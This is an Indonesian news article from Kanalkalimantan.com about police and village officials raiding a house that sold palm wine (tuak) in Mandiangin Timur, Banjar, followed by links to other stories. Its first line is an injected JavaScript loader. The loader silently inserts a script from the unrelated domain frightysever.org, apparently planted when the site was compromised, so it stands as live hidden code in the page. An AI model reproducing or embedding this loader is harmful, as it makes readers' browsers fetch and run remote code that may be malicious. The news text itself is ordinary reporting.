(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Personel Polsek Karang Intan bersama aparat desa mengerebek sebuah rumah penyedia alias jual tuak di Desa Mandiangin Timur, Kecamatan Karang Intan, Kabupaten Banjar.
Lantaran rumah yang menjadi tempat berjualan tuak di desa Mandiangin Timur itu sudah bikin resah warga sekitar.
Warga pun melaporkan aktivitas terlarang itu kepada kepala desa atau pembakal setempat.
Kapolres Banjar AKBP M Ifan Hariyat melalui Kasi Humas Polres Banjar, AKP H Suwarji membeberkan jika pada Selasa (6/6/2023) lalu, personel kepolisian bersama dengan Pembakal mendatangi rumah penjual tuak tersebut.
Baca juga: Pembelian 7 Unit Truk Diungkap JPU di Sidang Korupsi Pencucian Uang Mantan Bupati HST
Kedatangan mereka bertujuan membongkar lapak penjual tuak yang dianggap mengganggu kenyamanan dan ketertiban masyarakat sekitar.
“Berawal dari laporan masyarakat kepada Pembakal Desa Mandiangan Timur, dan kali ini melibatkan petugas kepolisian bersama-sama mendatangi lokasi penjualan tuak itu,” ujar Kasi Humas Polres Banjar AKP H Suwarji.
Penggerebekan dipimpin Kanit Samapta Polsek Karang Intan Aiptu Dedi Yanto bersama dengan Pambakal Desa Mandiangin Timur Ahmad Sairi.
Hasil pantauan pihak berwenang, di lokasi rumah tempat menjual tuak itu ditinggali oleh enam orang laki-laki dan seorang perempuan.
Sementara itu diketahui si pemilik rumah yang merupakan penjual tuak saat itu sedang tidak berada di rumahnya.
“Penghuni lain saat itu sedang duduk-duduk di dalam rumah, namun pemilik rumah sendiri yakni H sedang berada di luar,” sebutnya.
Baca juga: Banjarbaru Tuan Rumah MTQ XXXIV Tingkat Provinsi Kalsel, Ini Tanggal Pelaksanaannya
Melihat aparat yang datang, para penghuni rumah pun tak ada yang berkutik dan mempersilahkan petugas memeriksa rumah yang menjadi tempat penjualan tuak itu.
Hasilnya, dari dalam rumah aparat mengamankan 18 bungkus minuman tuak siap jual yang dibuat dalam kantong plastik gula satu kilogram.
Kemudian setelah pemilik rumah datang, H bersama dengan barang bukti berupa minuman tuak itu dibawa ke markas Polsek Karang Intan.
“Setelah dimintai keterangan, H penjual tuak yang sudah beroperasi selama tiga tahun itu berjanji mengikuti perjanjian yang dituangkan dalam surat pernyataan,” tuntasnya.
Atas permintaan aparat desa bersama dengan warga, selanjutnya H dilakukan pembinaan agar tidak lagi melakukan aktivitas penjualan minuman tuak di Desa Mandiangin Timur. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.